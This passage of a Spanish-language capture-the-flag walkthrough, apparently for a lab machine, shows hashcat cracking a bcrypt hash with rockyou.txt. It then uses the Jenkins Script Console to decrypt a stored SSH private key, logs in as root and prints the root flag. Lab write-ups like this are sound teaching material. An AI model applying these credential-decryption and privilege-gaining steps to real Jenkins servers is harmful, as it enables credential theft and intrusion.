* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-9600K CPU @ 3.70GHz, 1436/2937 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess

Y sacamos la contraseña para el usuario jennifer que sería princess. Voy a probar a entrar.

En el apartado ‘Dashboard > Manage Jenkins > Script Console’ podemos ejecutar comandos con Groovy script en el contenedor.

Si ahora vamos al apartado de credenciales en el código encontramos un value.

Si buscamos en internet jenkins decrypt cypher, encontramos una pagina que nos da el siguiente comando

println(hudson.util.Secret.decrypt("{XXX=}"))

Vamos a poner dentro de los corchetes el values para ver si nos da la private key

Y efectivamente la hemos sacado. Vamos a copiarla en un archivo y a intentar conectarnos por ssh.

sudo nano id_rsa
❯ chmod 600 id_rsa
chmod: changing permissions of 'id_rsa': Operation not permitted
❯ sudo chmod 600 id_rsa
❯ ssh -i id_rsa root@
❯ ssh -id id_rsa root@-----BEGIN OPENSSH PRIVATE KEY-----
❯ sudo nano id_rsa
❯ sudo chmod 600 id_rsa
❯ sudo ssh -i id_rsa root@10.10.11.10
The authenticity of host '10.10.11.10 (10.10.11.10)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.11.10' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Fri Jun  7 09:24:13 PM UTC 2024

  System load:              0.04541015625
  Usage of /:               67.0% of 5.81GB
  Memory usage:             36%
  Swap usage:               0%
  Processes:                221
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0:    10.10.11.10
  IPv6 address for eth0:    dead:beef::250:56ff:feb9:4476


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Jun  7 15:06:32 2024 from 10.10.14.180
root@builder:~# whoami
root
root@builder:~# hostname -I
10.10.11.10 172.17.0.1 dead:beef::250:56ff:feb9:4476 


R00T FLAG
---------------------------
root@builder:~# cd /root/
root@builder:~# pwd
/root
root@builder:~# ls
root.txt
root@builder:~# cat root.txt 
c3feda77166e8888820eb515ad4f838a
root@builder:~#